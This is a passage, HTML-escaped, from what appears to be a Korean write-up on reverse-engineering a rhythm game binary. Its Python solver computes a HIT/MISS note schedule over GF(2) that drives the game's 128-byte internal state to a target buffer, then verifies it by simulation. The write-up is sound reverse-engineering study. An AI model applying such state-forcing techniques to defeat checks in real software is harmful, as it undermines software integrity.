class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 메인: 스케줄 계산 ----------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;compute_schedule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;init_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;target_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    주어진 T(스텝 수), 초기 상태(init_bytes), 타겟 상태(target_bytes)에 대해
    HIT/MISS 스케줄(h[t]∈{0,1})을 계산.
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;init_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 1) base = M^T(S0)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;base_planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;advance_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;init_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;base_big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pack_planes_to_bigint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 2) columns v_t = M^{T-t}(U_t)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;columns_big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;U_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hit_injection_vector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;U_planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;U_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;V_planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;advance_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;U_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# M^{T-t}
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;V_big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pack_planes_to_bigint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;V_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;columns_big&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;V_big&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 3) delta = TARGET ^ base
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;target_big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pack_planes_to_bigint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_big&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_big&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 4) Solve A*h = delta
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solve_gf2_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;columns_big&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 시뮬레이터(검증용) ----------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;simulate_with_schedule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;계산된 스케줄로 실제 최종 상태를 시뮬레이션해서 검증한다.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;init_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# inject U_t
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;Ub&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hit_injection_vector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Ubp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Ub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# XOR
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Ubp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# mix
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mix_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;planes_to_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 입력(초기값/타깃) 세팅 ----------
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1) 초기 상태 (네가 준 16개 QWORD, little-endian 메모리 순서로 128바이트 구성)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;QWORDS_INIT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x2cfe542af6bcdfc9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xf827a156b5343296&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc2cf199748081bd1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e26919c7c7bf2f9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x8b5b00d8abffae1b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x96e0cde33808f13d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xc59babdd835b5d0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6b9e07b75d498495&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xf18c48ce17b46361&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xf9b94c2601dfe836&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xdc46ed6a800e449c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xb67a2df488263a5b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x6621c22f7d4d5b15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xe4b8d8381dc49605&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x82df48ce211e68a5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1a6836a93b27b7e4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;INIT_BYTES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;little&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;q&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;QWORDS_INIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# 2) 타깃 상태 (예: DAT_140077660) — 네가 올린 128바이트를 그대로 넣으면 됨
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TARGET_HEX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
14 64 42 4a 00 cc 14 34 21 43 26 82 98 11 2f 6f
3e 89 3a b8 d0 1c af 57 ef 3a 6b 23 dd 83 6c d8
3b ca c1 01 d4 30 52 a4 aa 8f e6 55 b6 c3 6d 1c
86 c9 2c 94 6b 7a 91 ae 31 e3 7e cd 8f e9 dd 1a
d1 c5 d0 c0 81 6f ee 9b 78 b0 aa fd 75 80 db 90
55 ff fd 90 f9 04 e9 54 2a 94 ea be 0e ec 44 35
28 18 bd 86 51 88 44 b1 d6 2d 27 d5 1b 4d 8d d2
df a4 f3 cf 94 aa 15 2d 8d 75 99 15 47 10 f7 08
&quot;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;TARGET_BYTES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TARGET_HEX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# 3) 노트 수(T) — 정확한 값으로 채워야 함!
#    (게임 내부: T = (DAT_140099008 - DAT_140099000) &amp;gt;&amp;gt; 4)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1080&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# TODO: 여기에 실제 노트 개수를 넣으세요 (정확히!)
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;T(노트 수)를 먼저 정확히 설정하세요.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compute_schedule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INIT_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TARGET_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[!] 주어진 T로는 정확히 맞출 수 없습니다 (선형계 해 없음). T 또는 타깃/초기값을 확인하세요.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[+] HIT/MISS 시퀀스 산출 완료.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;    예: 첫 64스텝:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;1&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;0&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# 검증
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;final_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;simulate_with_schedule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INIT_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;final_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TARGET_BYTES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[OK] 시뮬레이션 검증 통과: 최종 128바이트가 Target과 정확히 일치합니다.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[!] 시뮬레이션 검증 실패: 계산/입력 값을 점검하세요.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-17.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1670&lt;/code&gt;함수는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALCED + 0x80&lt;/code&gt;위치의 데이터만 건드리고 있는 것으로 보입니다. 계산용 버퍼인듯합니다. 직접적으로 건드리지 않아서 패스합니다. (인자값으로 ‘0’ 혹은 ‘1’이 들어간것을 보니 노트 히트에 따른 기록을 하는 듯 합니다)&lt;/p&gt;

